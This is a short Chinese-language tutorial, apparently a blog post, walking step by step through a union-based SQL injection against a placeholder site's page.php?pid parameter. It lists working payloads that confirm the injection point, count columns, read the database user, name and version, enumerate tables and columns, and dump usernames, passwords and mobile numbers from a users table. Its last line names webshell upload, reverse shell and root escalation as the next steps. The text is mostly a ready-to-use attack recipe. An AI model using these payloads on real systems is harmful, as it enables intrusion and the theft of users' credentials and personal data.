SQL注入渗透实战
概述：
SRE实战 互联网时代守护先锋，助力企业售后服务体系运筹帷幄！一键直达领取阿里云限量特价优惠。
判断注入点：
http://www.xxxxx.com/page.php?pid=42 and 1=1 #true
http://www.xxxxx.com/page.php?pid=42 and 1=2 #false
猜表的列数
http://www.xxxxx.com/page.php?pid=42 +ORDER+BY+06 #true
http://www.xxxxx.com/page.php?pid=42 +ORDER+BY+07 #false
爆出字段
http://www.xxxxx.com/page.php?pid=-42 +UNION+ALL+SELECT+1,2,3,4,5,6
爆当数据库信息
http://www.xxxxx.com/page.php?pid=-42 +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4,5,6
猜解表
http://www.xxxxx.com/page.php?pid=-42 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3,4,5,6
猜解表的字段
http://www.xxxxx.com/page.php?pid=-42 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x74626c5f7573657273),3,4,5,6
获取字段数据
username,pass,mobile
http://www.xxxxx.com/page.php?pid=-42 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(username,0x23,pass,0x23,mobile+SEPARATOR+0x3c62723e)+FROM+tbl_users),3,4,5,6
完结，后续就是找到后台，尝试上传webshell，反弹shell，提权root一系列的操作了。
